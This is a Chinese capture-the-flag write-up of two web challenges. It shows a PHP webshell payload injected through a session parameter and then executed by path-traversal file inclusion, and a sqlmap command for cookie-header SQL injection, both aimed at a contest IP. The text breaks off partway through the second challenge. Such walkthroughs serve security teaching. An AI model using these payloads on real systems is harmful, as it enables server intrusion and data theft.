地点:聊城职业学院 , u1s1门口的小摊挺多的(哧溜~)

1

web

web1 (反正就是有很多页面,你能发现其中的关键信息吗?)

知识点(细心最重要!尽量每个操作都要抓包分析)

  • 信息收集
  • 文件包含
  • 代码审计
  • session特性

打开题目,只有一个登录表单

image-20201124101408979

二话不说,直接dirsearch一波

image-20201124101705278

/php.php 是个phpinfo

访问/register.php注册个账户去登录,登录处抓包

image-20201124102449438

后面简单测了测发现登录处过滤了单引号,sql注入是不行了,继续往下跟

image-20201124102851131

发现好像进入了后台界面,同时发现了hint

<!--hint: m4nageee.php-->

但是这还是个302跳转包,跳到了/user.php?page=guest 可见程序对登录用户做了判断。

简单测了下page参数发现有任意文件包含

image-20201124103737192

包含m4nageee.php,发现后台有个表单

image-20201124111402262

于是读m4nageee.php

<?php
if (FLAG_SIG != 1){
    die("you can not visit it directly");
}
include "templates/profile233.html";

?>

访问templates/profile233.html查看源代码

image-20201124110331496

看到了这段代码就懂了,解释一下:

如果nick参数为空,就把nick的值赋给sessionnick的值,众所周知,session是存储在服务器端的

而且nick的值没有做过滤,所以当session可控时,就可以传入恶意代码

构造payload

http://47.105.128.249:36001/user.php?nick=<?php @system($_GET[c]);?>&page=m4nageee

session保存路径在之前发现的phpinfo文件可以查到

image-20201124112704975

当前session

image-20201124113029636

包含session文件,getshell

http://47.105.128.249:36001/user.php?page=../../../var/lib/php5/sess_90qqo7oj3p9ca8jdsousbk8ld0&c=cat fl*

image-20201124114630721

flag{c785407bfa1c768e50373480ad5c2765}

web2(听说你会sqlmap,出题人专门出了道能用sqlmap跑的题,你会跑吗?)

知识点

  • 信息收集
  • header头注入

image-20201130104507991

burp抓包登录(简单的测试了下username和password并无sql注入)

image-20201130104649869

源代码中发现test:test用户密码,尝试登录

image-20201130104850253

这里发现response返回包中设置了cookie:

username=test
password=test

简单的测了下,存在SQL注入并且是sqlite数据库

image-20201130152012411

直接用sqlmap跑一波

sqlmap -u "http://47.105.128.249:36002/index.php" --headers "Cookie: username=test*; password=test" --dbms sqlite --random-agent --level 3 --batch

直接跑发现跑不出来